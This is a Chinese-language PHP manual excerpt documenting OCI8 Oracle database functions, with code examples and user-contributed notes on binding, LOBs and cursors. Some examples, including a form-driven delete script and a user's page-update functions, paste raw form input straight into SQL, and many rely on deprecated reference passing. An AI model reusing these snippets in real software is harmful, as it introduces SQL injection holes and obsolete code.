$conn = oci_connect("scott", "tiger");
$count_cursor = "CURSOR(select count(empno) num_emps from emp " .
                "where emp.deptno = dept.deptno) as EMPCNT from dept";
$stmt = oci_parse($conn, "select deptno,dname,$count_cursor");

oci_execute($stmt);
echo "<table border=\"1\">";
echo "<tr>";
echo "<th>DEPT NAME</th>";
echo "<th>DEPT #</th>";
echo "<th># EMPLOYEES</th>";
echo "</tr>";

while ($data = oci_fetch_assoc($stmt)) {
    echo "<tr>";
    $dname  = $data["DNAME"];
    $deptno = $data["DEPTNO"];
    echo "<td>$dname</td>";
    echo "<td>$deptno</td>";
    oci_execute($data["EMPCNT"]);
    while ($subdata = oci_fetch_assoc($data["EMPCNT"])) {
        $num_emps = $subdata["NUM_EMPS"];
        echo  "<td>$num_emps</td>";
    }
    echo "</tr>";
}
echo "</table>";
echo "</body></html>";
oci_free_statement($stmt);
oci_close($conn);
?>

oci_new_cursor() 如果出错返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocinewcursor() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_new_cursor() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_new_connect | 上一级 | oci_new_descriptor


oci_new_descriptor

(PHP 5)

oci_new_descriptor -- 初始化一个新的空 LOB 或 FILE 描述符

说明

OCI-Lob oci_new_descriptor ( resource connection [, int type] )

oci_new_descriptor() 分配资源以保存描述符或 LOB 定位器。有效的 type 值是：OCI_D_FILE，OCI_D_LOB 以及 OCI_D_ROWID。

例子 1. oci_new_descriptor() 例子

<?php
    /* This script is designed to be called from a HTML form.
     * It expects $user, $password, $table, $where, and $commitsize
     * to be passed in from the form.  The script then deletes
     * the selected rows using the ROWID and commits after each
     * set of $commitsize rows. (Use with care, there is no rollback)
     */
    $conn = oci_connect($user, $password);
    $stmt = oci_parse($conn, "select rowid from $table $where");
    $rowid = oci_new_descriptor($conn, OCI_D_ROWID);
    oci_define_by_name($stmt, "ROWID", $rowid);
    oci_execute($stmt);
    while (oci_fetch($stmt)) {
       $nrows = oci_num_rows($stmt);
       $delete = oci_parse($conn, "delete from $table where ROWID = :rid");
       oci_bind_by_name($delete, ":rid", $rowid, -1, OCI_B_ROWID);
       oci_execute($delete);
       echo "$nrows\n";
       if (($nrows % $commitsize) == 0) {
           oci_commit($conn);
       }
    }
    $nrows = oci_num_rows($stmt);
    echo "$nrows deleted...\n";
    oci_free_statement($stmt);
    oci_close($conn);
?>
<?php
    /* This script demonstrates file upload to LOB columns
     * The formfield used for this example looks like this
     * <form action="upload.php" method="post" enctype="multipart/form-data">
     * <input type="file" name="lob_upload" />
     * ...
     */
  if (!isset($lob_upload) || $lob_upload == 'none'){
?>
<form action="upload.php" method="post" enctype="multipart/form-data">
Upload file: <input type="file" name="lob_upload" /><br />
<input type="submit" value="Upload" /> - <input type="reset" value="Reset" />
</form>
<?php
  } else {

     // $lob_upload contains the temporary filename of the uploaded file

     // see also the features section on file upload,
     // if you would like to use secure uploads

     $conn = oci_connect($user, $password);
     $lob = oci_new_descriptor($conn, OCI_D_LOB);
     $stmt = oci_parse($conn, "insert into $table (id, the_blob)
               values(my_seq.NEXTVAL, EMPTY_BLOB()) returning the_blob into :the_blob");
     oci_bind_by_name($stmt, ':the_blob', $lob, -1, OCI_B_BLOB);
     oci_execute($stmt, OCI_DEFAULT);
     if ($lob->savefile($lob_upload)){
        oci_commit($conn);
        echo "Blob successfully uploaded\n";
     }else{
        echo "Couldn't upload Blob\n";
     }
     oci_free_descriptor($lob);
     oci_free_statement($stmt);
     oci_close($conn);
  }
?>

例子 2. oci_new_descriptor() 例子

<?php
    /* Calling PL/SQL stored procedures which contain clobs as input
     * parameters (PHP 4 >= 4.0.6).
     * Example PL/SQL stored procedure signature is:
     *
     * PROCEDURE save_data
     *   Argument Name                  Type                    In/Out Default?
     *   ------------------------------ ----------------------- ------ --------
     *   KEY                            NUMBER(38)              IN
     *   DATA                           CLOB                    IN
     *
     */

    $conn = oci_connect($user, $password);
    $stmt = oci_parse($conn, "begin save_data(:key, :data); end;");
    $clob = oci_new_descriptor($conn, OCI_D_LOB);
    oci_bind_by_name($stmt, ':key', $key);
    oci_bind_by_name($stmt, ':data', $clob, -1, OCI_B_CLOB);
    $clob->write($data);
    oci_execute($stmt, OCI_DEFAULT);
    oci_commit($conn);
    $clob->free();
    oci_free_statement($stmt);
?>

oci_new_descriptor() 如果出错返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocinewdescriptor() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_new_descriptor() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
Ben Hubbard ben at vonik dot com
08-Apr-2006 12:57
Here is another example of how to insert a BLOB into table using a PL/SQL function.

Oracle Database Code:

create table blob_table ( the_blob blob);

create or replace function insert_blob(out_blob out blob)
   return integer is
   begin
       insert into blob_table values (EMPTY_BLOB())
         return the_blob into out_blob;
       return 0; /* Success */
   end insert_blob;

PHP Code:

<?php
  $iResult = -1;
  $strTestData = 'Testing 123';
  $conn = oci_connect($user, $password);
  $stmt = oci_parse($conn, "begin :RES := insert_blob(:OUT_BLOB); end;");

  $objBlob = oci_new_descriptor($conn, OCI_D_LOB);
  oci_bind_by_name($stmt, ":RES", $iResult);
  oci_bind_by_name($stmt, ":OUT_BLOB", $objBlob, -1, OCI_B_BLOB);
  oci_execute($stmt, OCI_DEFAULT);
  $objBlob->write($strTestData);
  oci_commit($conn);
  $objBlob->free();
  oci_free_statement($stmt);
?>
add a note add a note

后退 | 起点 | 前进
oci_new_cursor | 上一级 | oci_num_fields


oci_num_fields

(PHP 5)

oci_num_fields -- 返回结果列的数目

说明

int oci_num_fields ( resource statement )

oci_num_fields() 返回 statement 中的列的数目。

例子 1. oci_num_fields() 例子

<?php
    echo "<pre>\n";
    $conn = oci_connect("scott", "tiger");
    $stmt = oci_parse($conn, "select * from emp");

    oci_execute($stmt);

    while (oci_fetch($stmt)) {
        echo "\n";
        $ncols = oci_num_fields($stmt);
        for ($i = 1; $i <= $ncols; $i++) {
            $column_name  = oci_field_name($stmt, $i);
            $column_value = oci_result($stmt, $i);
            echo $column_name . ': ' . $column_value . "\n";
        }
        echo "\n";
    }

    oci_free_statement($stmt);
    oci_close($conn);

    echo "</pre>";
?>

oci_num_fields() 在出错时返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocinumcols() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_num_fields() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_new_descriptor | 上一级 | oci_num_rows


oci_num_rows

(PHP 5)

oci_num_rows -- 返回语句执行后受影响的行数

说明

int oci_num_rows ( resource stmt )

oci_num_rows() 返回语句执行后受影响的行数。

注: 本函数并不返回 SELECT 查询出来的行数！对于 SELECT 语句本函数将返回用 oci_fetch*() 函数取到缓冲区的行数。

例子 1. oci_num_rows() 例子

<?php
    echo "<pre>";
    $conn = oci_connect("scott", "tiger");

    $stmt = oci_parse($conn, "create table emp2 as select * from emp");
    oci_execute($stmt);
    echo oci_num_rows($stmt) . " rows inserted.<br />";
    oci_free_statement($stmt);

    $stmt = oci_parse($conn, "delete from emp2");
    oci_execute($stmt, OCI_DEFAULT);
    echo oci_num_rows($stmt) . " rows deleted.<br />";
    oci_commit($conn);
    oci_free_statement($stmt);

    $stmt = oci_parse($conn, "drop table emp2");
    oci_execute($stmt);
    oci_free_statement($stmt);

    oci_close($conn);
    echo "</pre>";
?>

oci_num_rows() 在出错时返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocirowcount() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_num_rows() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_num_fields | 上一级 | oci_parse


oci_parse

(PHP 5)

oci_parse -- 配置 Oracle 语句预备执行

说明

resource oci_parse ( resource connection, string query )

oci_parse() 在 connection 上配置 query 并返回语句标识符以用于 oci_bind_by_name()，oci_execute() 以及其它函数。

注: 本函数并不验证 query。要知道 query 是否是合法的 SQL 或 PL/SQL 语句的唯一方法是执行它。

oci_parse() 在出错时返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ociparse() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_parse() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_num_rows | 上一级 | oci_password_change


oci_password_change

(PHP 5)

oci_password_change -- 修改 Oracle 用户的密码

说明

bool oci_password_change ( resource connection, string username, string old_password, string new_password )

resource oci_password_change ( string dbname, string username, string old_password, string new_password )

修改用户 username 的密码。old_password 和 new_password 应分别指定旧密码和新密码。

注: 第二种 oci_password_change() 的语法自版本 1.1（OCI8 扩展库版本）起可用。

如果成功则返回 TRUE，失败则返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocipasswordchange() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_password_change() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_parse | 上一级 | oci_pconnect


oci_pconnect

(PHP 5)

oci_pconnect -- 使用一个持久连接连到 Oracle 数据库

说明

resource oci_pconnect ( string username, string password [, string db [, string charset [, int session_mode]]] )

oci_pconnect() 创建一个到 Oracle 服务器的持久连接并登录。持久连接会被缓冲并在请求之间重复使用，可以降低每个页面加载的消耗。一个典型的 PHP 应用程序对于每个 Apache 子进程（或者 PHP FastCGI/CGI 进程）会有一个打开的持久连接到 Oracle 服务器。更多信息见数据库持久连接一节。

注: 自 OCI8 扩展库版本 1.1 起，持久 Oracle 连接的生命周期和最大数目可以通过设定以下配置选项来调整：oci8.persistent_timeout，oci8.ping_interval 和 oci8.max_persistent。

可选的第三个参数可以是本地 Oracle 实例的名字或者是在 tnsnames.ora 的条目中的名字。如果没有指定第三个参数， PHP 使用环境变量 ORACLE_SID 和 TWO_TASK 来分别确定本地 Oracle 实例的名字和 tnsnames.ora 的位置。

session_mode 参数自版本 1.1 起可用并接受如下值：OCI_DEFAULT，OCI_SYSOPER 和 OCI_SYSDBA。如果指定了 OCI_SYSOPER 或 OCI_SYSDBA 其中之一，oci_new_connect() 将尝试使用外部认证信息建立特权连接。特权连接默认被禁止。要启用，需要将 oci8.privileged_connect 设为 On。

注: 如果 PHP 用的是 Oracle Instant Client，可以用容易的命名连接方法，说明见这里：http://download-west.oracle.com/docs/cd/B12037_01/network.101/b10775/naming.htm#i498306。基本上这意味着可以指定 "//db_host[:port]/database_name" 作为数据库名。但如果想用命名的旧方法则必须设定 ORACLE_HOME 或 TNS_ADMIN 二者之一。

使用 Oracle 服务器 9.2 或更高版本，可以指定 charset 参数，其将被用于新的连接。如果使用 Oracle 服务器低于 9.2 的版本，本参数将被忽略并以 NLS_LANG 环境变量替代之。

oci_pconnect() 返回连接标识符，出错则返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ociplogon() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_pconnect() 的别名。不过其已被废弃，不推荐使用。

参见 oci_connect() 和 oci_new_connect()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_password_change | 上一级 | oci_result


oci_result

(PHP 5)

oci_result -- 返回所取得行中字段的值

说明

mixed oci_result ( resource statement, mixed field )

oci_result() 返回由 oci_fetch() 所取得的当前行中 field 字段的数据。oci_result() 对所有类型都返回字符串只除了抽象类型（ROWID，LOB 和 FILE）。oci_result() 在出错时返回 FALSE。

可以使用列序号（从 1 开始）或列名（大写）作为 col 的参数。

注: 在 PHP 5.0.0 之前的版本必须使用 ociresult() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_result() 的别名。不过其已被废弃，不推荐使用。

有关 OCI8 驱动程序执行的数据类型映射的细节，见驱动程序支持的数据类型。

参见 oci_fetch_array()，oci_fetch_assoc()，oci_fetch_object()，oci_fetch_row() 和 oci_fetch_all()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_pconnect | 上一级 | oci_rollback


oci_rollback

(PHP 5)

oci_rollback -- 回滚未提交的事务

说明

bool oci_rollback ( resource connection )

oci_rollback() 回滚 Oracle 连接 connection 上所有未提交的语句。

如果成功则返回 TRUE，失败则返回 FALSE。

注: 当关闭连接或脚本结束时（看哪个先）事务会自动回卷。需要明确地调用 oci_commit() 来提交事务，或 oci_rollback() 来中止事务。

注: 在 PHP 5.0.0 之前的版本必须使用 ocirollback() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_rollback() 的别名。不过其已被废弃，不推荐使用。

参见 oci_commit()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_result | 上一级 | oci_server_version


oci_server_version

(PHP 5)

oci_server_version -- 返回服务器版本信息

说明

string oci_server_version ( resource connection )

以字符串返回 connection 所连接的 Oracle 服务器的版本信息。出错则返回 FALSE。

例子 1. oci_server_version() 例子

<?php
    $conn = oci_connect("scott", "tiger");
    echo "Server Version: " . oci_server_version($conn);
    oci_close($conn);
?>

注: 在 PHP 5.0.0 之前的版本必须使用 ociserverversion() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_server_version() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_rollback | 上一级 | oci_set_prefetch


oci_set_prefetch

(PHP 5)

oci_set_prefetch -- 设置预提取行数

说明

bool oci_set_prefetch ( resource statement [, int rows] )

在成功调用 oci_execute() 之后设定预提取的行数。rows 的默认值为 1。

注: 在 PHP 5.0.0 之前的版本必须使用 ocisetprefetch() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_set_prefetch() 的别名。不过其已被废弃，不推荐使用。

如果成功则返回 TRUE，失败则返回 FALSE。

参见 oci8_.default_prefetch INI 选项。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_server_version | 上一级 | oci_statement_type


oci_statement_type

(PHP 5)

oci_statement_type -- 返回 OCI 语句的类型

说明

string oci_statement_type ( resource statement )

oci_statement_type() 返回语句 statement 的查询类型，其值为下列之一：

  1. SELECT

  2. UPDATE

  3. DELETE

  4. INSERT

  5. CREATE

  6. DROP

  7. ALTER

  8. BEGIN

  9. DECLARE

  10. UNKNOWN

statement 参数是一个由 oci_parse() 所返回的有效的 OCI 语句标识符。

例子 1. oci_statement_type() 例子

<?php
    $conn = oci_connect("scott", "tiger");
    $sql  = "delete from emp where deptno = 10";

    $stmt = oci_parse($conn, $sql);
    if (oci_statement_type($stmt) == "DELETE") {
        die("You are not allowed to delete from this table<br />");
    }

    oci_close($conn);
?>

oci_statement_type() 在出错时返回 FALSE。

注: 在 PHP 5.0.0 之前的版本必须使用 ocistatementtype() 替代本函数。该函数名仍然可用，为向下兼容作为 oci_statement_type() 的别名。不过其已被废弃，不推荐使用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
oci_set_prefetch | 上一级 | ocibindbyname


ocibindbyname

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ocibindbyname -- oci_bind_by_name() 的别名

说明

本函数是该函数的别名：oci_bind_by_name()。

add a note add a note User Contributed Notes
md AT opencube DOT org
28-Sep-2004 09:03
I changed the Method below - all without comments:

function getBindVars($statement){
   $regExp = "/(:[_a-z0-9]+)/i";
   $statement = preg_replace('/\'[^\']*?\'/i', "", $statement);
   //  --- Kommentare raus:
   $statement = preg_replace('/--[^(\n)]*?\n/i', "", $statement."\n");
   // /* */ Kommentare raus:
   $statement = preg_replace('/(\/\*)([^\*]|[^\*](\*)[^\/])+?(\*\/)/i', "", $statement);
   $statement = preg_replace('/[^s]el([^t](t)[^s])+?(ts)/i', "", $statement);
   $test = preg_match_all($regExp, $statement, $return);
   if (isset($return[1]) && count($return[1]) > 0)
       return($return[1]);
   else return array();
}

for this statement:

$testStatement = " select * from /* Komm \n* :v_comment /asdf */ elements := [asdf]||test where\n elements_id = :v_test;".
             "(:value-1) ':text[not]text'||:test123 --test 'diesen:auch_nicht' :v_not\n asdf";

we get this Array:

Array
(
   [0] => :v_test
   [1] => :value
   [2] => :test123
)
16-Sep-2004 06:18
Hi all,

I wrote a little function to get all the bind variables of a statement. I use this for a tool that creates a formular to execute different statements the user can select:

function getBindVars($statement){
   $regExp = "/[^'](:[_a-z0-9]+)/i";
   $test = preg_match_all($regExp, $statement, $return);
   if (isset($return[1]) && count($return[1]) > 0)
       return($return[1]);
   else return array();
}
jriley at gamesville dot com
25-Aug-2004 06:16
To select a value from DUAL, use a  length of -1.  DUAL is defined as a table of VARCHAR2(1).

ex:
$stmt = OCIParse($conn,  "select  :VAR from DUAL");
ocibindbyname($stm, ":VAR", &$Var, -1);

For a query using LIKE,  put the percent signs in the variable definition and skip the single quotes you would normally put around the regex in SQL.

ex:

$ename = "%{$ename}%";
$stmt = OCIParse($conn,  "select empno from emp where ename like :ename");
OCIBindByName($stmt, ":ename", $ename, 32);

Adding single quotes around :ename in $query will cause an
"ORA-01036: illegal variable name/number" error.  Adding them in $ename will add  single quotes to the search string.
david dot gaia dot kano at dartmouth dot edu
05-Aug-2004 05:24
Here is a new twist I just discovered (at least with PHP 4.3.5). While it is true that doing something like this works:

----------
$dataArray = array("name" => "david", "sport" => "rock climbing");
$lengths = array("name" => 25, "sport" => 100);

// imagine the ociparse here

foreach($dataArray as $col => $val) {
   ocibindbyname($statement, $col, $dataArray[$val], $lengths[$col])
}

ociexecute($statement);

$dataArray["name"] = "jane";
$dataArray["sport"] = "kayaking";

ociexecute($statement);
---------
The following ADDITIONAL lines of code would not:

--------

function getDataArray() {
   $ret["name"] = "susan";
   $ret["sport"] = "walking";
   return($ret);
}

$dataArray = getDataArray();

ociexecute($statement);

--------

As far as I can tell, the last execute would attempt to insert using the same data as the second execute. In other words when reassigning the whole associative array rather than just each member in the array, the binds do not work as expected. I think this is also a problem when the array has never been assigned to anything yet, when you do the binds.
yepster at hotmail dot com
09-Mar-2004 09:32
If you get ora-01460 you might want to check whether the OCIBindByName was done with -1 on a date field, which on bind time (not execute time) was bound to a php variable with size 0. (e.g.: $var=""; bind var to date with length -1; loop; $var=realdate; execute will give ora-01460 -> unreasonable or unimplemented conversion). Changing the initial $var to a good length, or do the bind with the right size of your date in string format representation instead of -1 will solve it.
adamb-php at agitate dot org dot uk
27-Nov-2003 09:14
If you use dba_tab_columns or user_tab_columns to get the sizes of the columns into which you are inserting data with OCIBindByName, be aware that a DATE type column is returned as 7 which is the size of it when it is stored in oracle's internal format.  The problem arises when you are in fact inserting dates using the TO_DATE function as your bound data could be something like "28/04/1972 12:22.13" which is larger than the width specified in the bind statement and will get you the ever so helpful OCI error message of:

ORA-01461: can bind a LONG value only for insert into a LONG column
aidan.peiser at shopsmart dot com
01-Mar-2003 03:06
I have made two function to add and update a table with a CLOB field in it.all you have to do is pass the correct data through the function and it should work...

<?php
/*the table sql looks like this:

create table MY_PAGE (pageid varchar2(20),
           pagename varchar2(50),
           pageurl varchar2(100),
           edited date,
           bodymessage clob);

create sequence mypage_sequence minvalue 1 nocache;
*/

function updatePageData($select,$pagename,$pageurl,$document) {
   global $conn;

   $current_time=date("YmdHis");
   $sql = "update MY_PAGE set PAGENAME='$pagename',
PAGEURL='$pageurl',
EDITED=TO_DATE('$current_time','YYYYMMDDHH24MISS'), BODYMESSAGE = EMPTY_CLOB()
WHERE PAGEID = '$select' returning BODYMESSAGE into :bodymessage";
   echo $sql;

   $stmt = OCIParse($conn,$sql);
   $lob = OCINewDescriptor($conn,OCI_D_LOB);
   OCIBindByName($stmt,":bodymessage",&$lob,-1,OCI_B_CLOB);
       OCIExecute($stmt, OCI_DEFAULT);
       $lob->save($document);
       $lob->free();
       OCIFreeStatement($stmt);
   if(OCICommit($conn)){
       return true;
   }else{
       return false;
   }

}

function insertPageData($pagename,$pageurl,$document) {

   global $conn;

   $current_time=date("YmdHis");
   $query = "insert into MY_PAGE (PAGEID, PAGENAME, PAGEURL, EDITED, BODYMESSAGE)
values (mypage_sequence.nextval,
'$pagename',
'$pageurl',
TO_DATE('$current_time','YYYYMMDDHH24MISS'),
empty_clob()) returning BODYMESSAGE into :bodymessage";
   $stmt = OCIParse($conn, $query);

   $clob1 = OCINewDescriptor($conn, OCI_D_LOB);
   OCIBindByName ($stmt, ":bodymessage", &$clob1, -1, OCI_B_CLOB);
   OCIExecute($stmt, OCI_DEFAULT);
   $clob1->save ($document);

   if(OCICommit($conn)){
       echo "data inserted";
   }else{
       echo "unable to insert data";
   }
}

?>
alexander dot zimmer at gmx dot at
20-Sep-2002 08:40
Addition to the posting of cthrall@rocketmail.com (from 06-Sep-2000):

It's true, you can't call OCIBindByName in a loop and bind to an associative array like this:

foreach ($array as $key => $val)
{
OCIBindByName($state, $key, $val, -1);
}

BUT: You can do it this way:

foreach ($array as $key => $val)
{
OCIBindByName($state, $key, $array[$key], -1);
}

Background: the command OCIBindByName BINDS a PHP variable to a parameter, not just its current value. Thus, it is up to you to make sure that the variable has the correct value at the very time when OCIExecute is called, not just when OCIBindByName was called! The PHP variable gets evaluated at the point of OCIExecute and not earlier.

This is somewhat more legible than cthrall's solution (but it surely works, too).
chris_se at gmx dot net
28-Aug-2002 02:44
Be warned if you use this function with a fixed-width character field:

If you have a table with the following fields:

create table personal_data (
name      char(20) not null,
street      char(50),
city        char(50),
primary key (name) using index
);

Now, if you want to update a column without OCIBindByName, you may write

$stmt = OCIParse ($conn, "update personal_data set street = '$street' where name = '$name'");
$res = OCIExecute ($stmt);
OCIFreeStatement ($stmt);

If you want to use OCIBindByName, the following will _only_ work, if the contents of $name has always the same length as field:

$stmt = OCIParse ($conn, "update personal_data set street = :STREET where name = :NAME");
OCIBindByName ($stmt, ":STREET", &$street, 50);
OCIBindByName ($stmt, ":NAME", &$name, 20);
$res = OCIExecute ($stmt);
OCIFreeStatement ($stmt);

(this will not produce any error, it's simply that the where-clause will never get true if the contents of $name is not as long as the field itself)

To make this work, you have to trim the field:

$stmt = OCIParse ($conn, "update personal_data set street = :STREET where trim(name) = :NAME");
OCIBindByName ($stmt, ":STREET", &$street, 50);
OCIBindByName ($stmt, ":NAME", &$name, 20);
$res = OCIExecute ($stmt);
OCIFreeStatement ($stmt);
max at pict dot lviv dot ua
15-Aug-2002 08:53
For those, who may wish to determine column size before execution of query, I suggest to use DBA_TAB_COLUMNS view. I did it with this function:

function db_column_size($table,$column) {
  $connection = db_connect();
  $query = "SELECT DATA_LENGTH FROM DBA_TAB_COLUMNS ".
           "WHERE TABLE_NAME='".strtoupper($table)."' ".
           "AND COLUMN_NAME='".strtoupper($column)."'";

  $statement = OCIParse($connection, $query);
  OCIExecute($statement);

  ocifetchinto($statement,$row,OCI_ASSOC+OCI_RETURN_NULLS);
  return $row["DATA_LENGTH"];
}
k_a_h_l_i_l at yahoo dot com
02-May-2001 12:08
How to bind an nvarchar field:

$sql = "insert into my_table values (translate(:varname using nchar_cs))";

$stmt = OCIParse($conn, $sql);
OCIBindByName($stmt,":varname", &$value, strlen($value) + 1, 1);
$err = OCIError($stmt);
if(!$err) {
  OCIExecute($stmt);
  $err = OCIError($stmt);
}
OCIFreeStatement($stmt);
andrea at neutrini dot it
19-Feb-2001 02:30
This script print the real name of a BFILE saved. It use OCIBindByName ...
$c1=OCILogon ("username","password","database");
       $store_file = "NULL";
           $query = "DECLARE Lob_loc  BFILE; DIRS  VARCHAR2(30); FILS  VARCHAR2(40); BEGIN SELECT B_FILE INTO Lob_loc FROM TABLE_WHIT_B_FILE WHERE KEY=2 ; DBMS_LOB.FILEGETNAME(Lob_loc,DIRS,FILS); :NOME:=FILS; END;"
       $stmt = ociparse($c1,$query);
           OCIBindByName($stmt,":NOME",&$store_file,50);

           if(!ociexecute($stmt)) echo "Error";

           echo  $store_file ;

           OCIFreeStatement($stmt);
           OCILogOff($c1);
gmarcos at netspace dot com dot mx
17-Dec-2000 03:04
to load an image from oracle:
<?
Header("Content-Type: image/png");
$conn = OCILogon("user","passwd","bd");

$stmt = OCIParse($conn,"select picture
from table_with_picture ");

$picture = OCINewDescriptor($stmt,OCI_D_LOB);

OCIDefineByName($stmt,"PICTURE",&$picture);
OCIExecute($stmt);
while(OCIFetch($stmt)){

}

OCIFreeStatement($stmt);
$fp = fopen ("/directory/picture.tif","wb");
fwrite($fp,$picture);
fclose($fp);
passthru("/usr/bin/X11/convert /directory/picture.tif png:-");

?>

This work for blobs.
Maxwell_Smart at ThePentagon dot com
01-Nov-2000 10:27
You cannot use a reserved word as a bind variable.Otherwise you'll get "OCIStmtExecute: ORA-01745: invalid host/bind variable name". So, while "RETURNING ROWID INTO :RowId" may be nice, it'll cause an error, as will "RETURNING ROWID INTO :SELECT", etc.
cthrall at rocketmail dot com
07-Sep-2000 08:40
So, if you're calling OCIBindByName in a loop and binding to an associative array like this:

while (list($key, $val) = each($array))
{
   OCIBindByName($state, $key, $val['VALUE'], $val['LENGTH']);
}

it won't work.  My WAG is that OCI gets confused when you bind a bunch of values to what appears to be the same variable, then call OCIExecute.

Workaround is create a new array, and copy values into it:

$value = array();
$i = 0;

while (list($key, $val) = each($array))
{
   $value[$i] = $val['VALUE'];
   OCIBindByName($state, $key, $value[$i], $val['LENGTH']);
   $i++;
}
benjy at nectaris dot com
28-Jan-2000 02:15
Note that when binding a variable to a
VARCHAR2 column, the length parameter should count an extra character (the terminating null.)

For example, when binding to a column of type VARCHAR2(500), the length parameter should be 501. Otherwise when a string of length 500 is supplied as a bind value an error ("ORA-01480: trailing null missing from STR bind value") will be thrown.

According to the OCI documentation this happens because the length parameter is used by OCI as a search limit for the terminating null in the underlying C/C++ character string.
k_a_h_l_i_l at yahoo dot com
27-Jan-2000 06:45
ocibindbyname with VARCHAR fields doesn't handle length dynamically. I had to define my variable with the correct length (and garbage data) before calling bindbyname.
   $myvar = "000000";
   OCIBindByName($stmt,":myvar",&$myvar, -1);

without the first initialization line ($myvar = "000000"), the statement will give a NULL length error when executed. This error happens even if the variable's length is provided as a parameter. So

   OCIBindByName($stmt,":myvar",&$myvar, 6);

won't work either unless the initialization statement is executed first.
philippe at styx dot net
25-Aug-1999 02:27
Note: If the table field is VARCHAR2(1),
--> ocibindbyname($stm, ":VAR", &$Var, 1);
won't work. You have to put instead:
--> ocibindbyname($stm, ":VAR", &$Var, -1);
add a note add a note

后退 | 起点 | 前进
oci_statement_type | 上一级 | ocicancel


ocicancel

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

ocicancel -- oci_cancel() 的别名

说明

本函数是该函数的别名：oci_cancel()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocibindbyname | 上一级 | ocicloselob


ocicloselob

(no version information, might be only in CVS)

ocicloselob -- OCI-Lob->close 的别名

说明

本函数是该函数的别名：OCI-Lob->close。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicancel | 上一级 | ocicollappend


ocicollappend

(PHP 4 >= 4.0.6, PHP 5)

ocicollappend -- OCI-Collection->append 的别名

说明

本函数是该函数的别名：OCI-Collection->append。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicloselob | 上一级 | ocicollassign


ocicollassign

(PHP 4 >= 4.0.6)

ocicollassign -- OCI-Collection->assign 的别名

说明

本函数是该函数的别名：OCI-Collection->assign。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicollappend | 上一级 | ocicollassignelem


ocicollassignelem

(PHP 4 >= 4.0.6, PHP 5)

ocicollassignelem -- OCI-Collection->assignElem 的别名

说明

本函数是该函数的别名：OCI-Collection->assignElem。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicollassign | 上一级 | ocicollgetelem


ocicollgetelem

(PHP 4 >= 4.0.6, PHP 5)

ocicollgetelem -- OCI-Collection->getElem 的别名

说明

本函数是该函数的别名：OCI-Collection->getElem。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicollassignelem | 上一级 | ocicollmax


ocicollmax

(PHP 4 >= 4.0.6, PHP 5)

ocicollmax -- OCI-Collection->max 的别名

说明

本函数是该函数的别名：OCI-Collection->max。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicollgetelem | 上一级 | ocicollsize


ocicollsize

(PHP 4 >= 4.0.6, PHP 5)

ocicollsize -- OCI-Collection->size 的别名

说明

本函数是该函数的别名：OCI-Collection->size。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicollmax | 上一级 | ocicolltrim


ocicolltrim

(PHP 4 >= 4.0.6, PHP 5)

ocicolltrim -- OCI-Collection->trim 的别名

说明

本函数是该函数的别名：OCI-Collection->trim。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicollsize | 上一级 | ocicolumnisnull


ocicolumnisnull

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ocicolumnisnull -- oci_field_is_null() 的别名

说明

本函数是该函数的别名：oci_field_is_null()。

add a note add a note User Contributed Notes
Raju Joseph [RajuJoseph at usa dot net]
15-Sep-2003 10:36
<?php

// Connect to Oracle database.

//        Username  : Raju
//        Password  : Password
//        Database  : Database_name

  $conn=OCILogon("Raju", "Password", "DATABASE_NAME");
  if ( ! $conn ) {
   echo "Unable to connect: " . var_dump( OCIError() );
   die();
  }

// Select Data...

// DESC[RIBE] COMPANY

